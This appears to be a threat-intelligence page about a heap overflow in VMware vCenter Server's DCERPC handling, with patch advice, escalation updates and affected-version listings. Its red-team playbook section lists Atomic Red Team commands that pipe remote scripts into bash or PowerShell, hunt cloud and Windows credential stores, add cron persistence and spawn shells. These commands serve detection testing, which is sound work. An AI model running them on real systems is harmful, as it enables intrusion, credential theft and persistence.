CVE-2024-37079
Overview
This vulnerability is a heap-based buffer overflow occurring within the implementation of the DCERPC protocol in VMware vCenter Server. The root cause is improper handling of specially crafted network packets that leads to memory corruption in the DCERPC component. Affected components include vCenter Server versions 8.0 and VMware Cloud Foundation, specifically in the DCERPC protocol processing module.
Vulnerability Description
vCenter Server contains a heap-overflow vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may trigger this vulnerability by sending a specially crafted network packet potentially leading to remote code execution.
Impact
An attacker with network access to the vCenter Server can exploit this vulnerability without any authentication or user interaction. Successful exploitation allows remote code execution with the privileges of the vCenter Server process, potentially leading to full system compromise. This can result in unauthorized access to sensitive management infrastructure, disruption of virtualization environments, and lateral movement within the enterprise network.
Solution
VMware has released security updates addressing this vulnerability in VMware vCenter Server 8.0 and VMware Cloud Foundation. Administrators should apply the patches as detailed in VMware Security Advisory VMSA-2024-0006 available at https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453. No specific workarounds are provided; timely patching is strongly recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The heap-overflow vulnerability in the implementation of the DCERPC protocol within vCenter Server represents a critical security flaw that could be exploited by malicious actors. Heap overflow vulnerabilities occur when a program writes more data to a buffer located on the heap than it can hold, leading to the corruption of adjacent memory. In this case, the flaw allows an attacker with network access to vCenter Server to send specially crafted packets that can overwrite the memory of the server, potentially leading to arbitrary code execution. This type of vulnerability is particularly dangerous because it can be exploited remotely, allowing attackers to gain control over the affected system without physical access.
Attack vectors for this vulnerability are primarily network-based, as the flaw can be triggered through specially crafted network packets sent to the vCenter Server. An attacker could utilize various methods to deliver these packets, including automated scripts or tools designed to exploit network vulnerabilities. Once the attacker successfully triggers the heap overflow, they can execute arbitrary code with the same privileges as the vCenter Server process. This could lead to a complete compromise of the server, allowing the attacker to manipulate virtual machines, access sensitive data, or disrupt services. Given the central role of vCenter Server in managing virtualized environments, the implications of such an attack could be extensive.
The real-world impact of this vulnerability is significant, particularly for organizations relying on VMware's vCenter Server for their cloud infrastructure and virtualization management. A successful exploitation could result in unauthorized access to critical systems, data breaches, and operational disruptions. The business risks associated with this vulnerability include potential financial losses, reputational damage, and regulatory penalties, especially if sensitive data is compromised. Organizations may also face increased costs related to incident response, system recovery, and implementing additional security measures to prevent future attacks.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating and patching vCenter Server installations is essential, as vendors typically release updates to address known vulnerabilities. Additionally, implementing network segmentation can help limit exposure by restricting access to the vCenter Server from untrusted networks. Intrusion detection systems (IDS) and intrusion prevention systems (IPS) can also be employed to monitor network traffic for suspicious activity indicative of exploitation attempts. Furthermore, organizations should conduct regular security assessments and penetration testing to identify potential weaknesses in their infrastructure and ensure that security controls are effective.
In conclusion, the heap-overflow vulnerability in vCenter Server's DCERPC protocol poses a serious threat to organizations utilizing VMware products. The potential for remote code execution through network-based attacks highlights the need for robust security practices and proactive measures to safeguard critical infrastructure. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to mitigate risks and protect their assets in an increasingly complex cybersecurity landscape.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-37079, with telemetry indicating a significant uptick in attempts to exploit the heap-overflow vulnerability within the vCenter Server’s DCERPC protocol. While no new exploit techniques or ransomware affiliations have emerged, the increased detection frequency suggests heightened attacker interest or scanning efforts targeting this critical flaw. This escalation underscores the vulnerability’s attractiveness as a potential vector for remote code execution in enterprise environments. Consequently, the threat level should be considered elevated, reflecting a growing likelihood of exploitation attempts in operational networks. Defenders must recognize that the persistence and increase in probing activity may precede more sophisticated or widespread attacks, warranting continued vigilance despite the absence of new exploit variants.
Update 2 — July 22, 2026
CSURFACE threat intelligence has identified a marked escalation in network probing activity targeting the heap-overflow vulnerability in VMware vCenter Server’s DCERPC implementation. This surge in detection frequency reflects increased reconnaissance efforts by threat actors, likely aiming to identify vulnerable instances for potential exploitation. Although no new exploit variants or ransomware affiliations have been observed, the persistence and amplification of scanning activity signal growing attacker interest and preparatory behavior preceding active exploitation campaigns. The stable EPSS score, despite this uptick, suggests that while exploitation attempts remain nascent, the environment is increasingly conducive to successful compromise. Consequently, the threat level for CVE-2024-37079 should be elevated to reflect the heightened likelihood of opportunistic attacks leveraging this critical remote code execution vector within enterprise infrastructures.
Update 3 — August 14, 2026
CSURFACE threat intelligence has detected a marked escalation in scanning and probing activity targeting the CVE-2024-37079 vulnerability in VMware vCenter Server. This increase reflects a growing reconnaissance effort by threat actors, likely aimed at identifying vulnerable systems in preparation for exploitation. Although no new exploit code or ransomware affiliations have been observed, the sustained rise in network-level triggers indicates heightened attacker interest and an expanding attack surface. The stable EPSS score suggests that while active exploitation remains limited, the environment is increasingly favorable for opportunistic compromise attempts. Consequently, the threat level associated with this critical remote code execution vulnerability should be reassessed upward to acknowledge the increased likelihood of exploitation attempts, underscoring the need for continued vigilance in monitoring and defensive postures.
Affected Products (44)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:-:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:a:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1a:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1d:*:*:*:*:*:*
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|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2:*:*:*:*:*:*
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|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*
|
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|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-37079 |
| support.broadcom.com |
GitHub CVE
|
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-37079 |